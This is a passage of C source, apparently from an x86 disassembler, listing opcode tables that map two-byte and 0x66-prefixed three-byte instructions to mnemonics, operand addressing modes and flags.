INSTRUCTION_TYPE_PRIV, \"mov\", AM_T|OT_d, AM_R|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SSE, \"movaps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movaps\", AM_W|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"cvtpi2ps\", AM_V|OT_ps, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movntps\", AM_M|OT_ps, AM_V|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"cvttps2pi\",AM_P|OT_q, AM_W|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"cvtps2pi\", AM_P|OT_q, AM_W|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"ucomiss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"comiss\", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"wrmsr\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"rdtsc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"rdmsr\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"rdpmc\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"sysenter\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PRIV, \"sysexit\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MOVC, \"cmovo\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovno\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovb\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovae\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmove\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovne\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovbe\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmova\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovs\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovns\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovp\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovnp\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovl\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovge\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovle\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVC, \"cmovg\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"movmskps\", AM_G|OT_d, AM_V|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"sqrtps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"rsqrtps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"rcpps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"andps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"andnps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"orps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"xorps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"addps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"mulps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"cvtps2pd\", AM_V|OT_pd, AM_W|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"cvtdq2ps\", AM_V|OT_ps, AM_W|OT_dq, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"subps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"minps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"divps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"maxps\", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"punpcklbw\",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"punpcklwd\",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"punockldq\",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"packusdw\", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pcmpgtb\", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pcmpgtw\", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pcmpgtd\", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"packsswb\", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"punpckhbw\",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"punpckhbd\",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"punpckhdq\",AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"packssdw\", AM_P|OT_q, AM_Q|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, \"movd\", AM_P|OT_d, AM_E|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"movq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pshufw\", AM_P|OT_q, AM_Q|OT_q, AM_I|OT_b, 1 },\n // groups 12-14\n { INSTRUCTION_TYPE_MMX, \"g12\", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"g13\", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"g14\", AM_P|OT_q, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pcmpeqb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pcmpeqw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pcmpeqd\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"emms\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, \"movd\", AM_E|OT_d, AM_P|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"movq\", AM_Q|OT_q, AM_P|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_JMPC, \"jo\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jno\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jb\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnb\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jz\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnz\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jbe\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnbe\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"js\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jns\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jp\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnp\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jl\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnl\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jle\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_JMPC, \"jnle\", AM_J|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_SETC, \"seto\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setno\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setb\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setnb\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setz\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setnz\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setbe\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setnbe\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"sets\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setns\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setp\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setnp\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setl\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setnl\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setle\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SETC, \"setnle\", AM_E|OT_b, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_FS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_FS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"cpuid\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BT, \"bt\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"shld\", AM_E|OT_v, AM_G|OT_v, AM_I|OT_b, 1 },\n { INSTRUCTION_TYPE_OTHER, \"shld\", AM_E|OT_v, AM_G|OT_v, AM_REG|REG_ECX|OT_b, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n // XXX: ibts: undocumented? \n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_PUSH, \"push\", AM_REG|REG_GS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_POP, \"pop\", AM_REG|REG_GS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"rsm\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BTS, \"bts\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"shrd\", AM_E|OT_v, AM_G|OT_v, AM_I|OT_b, 1 },\n { INSTRUCTION_TYPE_OTHER, \"shrd\", AM_E|OT_v, AM_G|OT_v, AM_REG|REG_ECX|OT_b, 1 },\n // XXX: check addressing mode, Intel manual is a little bit confusing...\n { INSTRUCTION_TYPE_OTHER, \"grp15\", AM_E|OT_v, FLAGS_NONE, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_EIMUL, \"imul\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"cmpxchg\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, \"cmpxchg\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_LFP, \"lss\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_BTR, \"btr\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_LFP, \"lfs\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_LFP, \"lgs\", AM_G|OT_v, AM_M|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVZX, \"movzx\", AM_G|OT_v, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVZX, \"movzx\", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n // XXX: group 10 / invalid opcode?\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, \"g8\", AM_E|OT_v, AM_I|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_BTC, \"btc\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_BSF, \"bsf\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_BSR, \"bsr\", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVSX, \"movsx\", AM_G|OT_v, AM_E|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MOVSX, \"movsx\", AM_G|OT_v, AM_E|OT_w, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XADD, \"xadd\", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_XADD, \"xadd\", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"cmpps\", AM_V|OT_ps, AM_W|OT_ps, AM_I|OT_b, 1 },\n { INSTRUCTION_TYPE_OTHER, \"movnti\", AM_M|OT_d, AM_G|OT_d, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_SSE, \"pinsrw\", AM_P|OT_w, AM_E|OT_w, AM_I|OT_b, 1 },\n { INSTRUCTION_TYPE_SSE, \"pextrv\", AM_G|OT_w, AM_P|OT_w, AM_I|OT_b, 1 },\n { INSTRUCTION_TYPE_SSE, \"shufps\", AM_V|OT_ps, AM_W|OT_ps, AM_I|OT_b, 1 },\n { INSTRUCTION_TYPE_OTHER, \"g9\", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_BSWAP, \"bswap\", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, \"psrlw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psrld\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psrlq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmullw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, \"pmovmskb\", AM_G|OT_q, AM_P|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubusb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubusw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pminub\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pand\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddusb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddusw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmaxsw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pandn\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pavgb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psraw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psrad\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pavgw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmulhuw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmulhw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, \"movntq\", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubsb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubsw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pminsw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"por\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddsb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddsw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmaxsw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pxor\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n { INSTRUCTION_TYPE_MMX, \"psllw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pslld\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psllq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmuludq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"pmaddwd\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psadbw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n // XXX: check operand types\n { INSTRUCTION_TYPE_MMX, \"maskmovq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubd\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"psubq\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddb\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddw\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_MMX, \"paddd\", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 },\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },\n};\n\n// 3-byte instructions, prefix 0x66\n\n// Yeah, I know, it's waste to use a full 256-instruction table but now\n// I'm prepared for future Intel extensions ;-)\n\nINST inst_table3_66[256] = {\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd\n { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 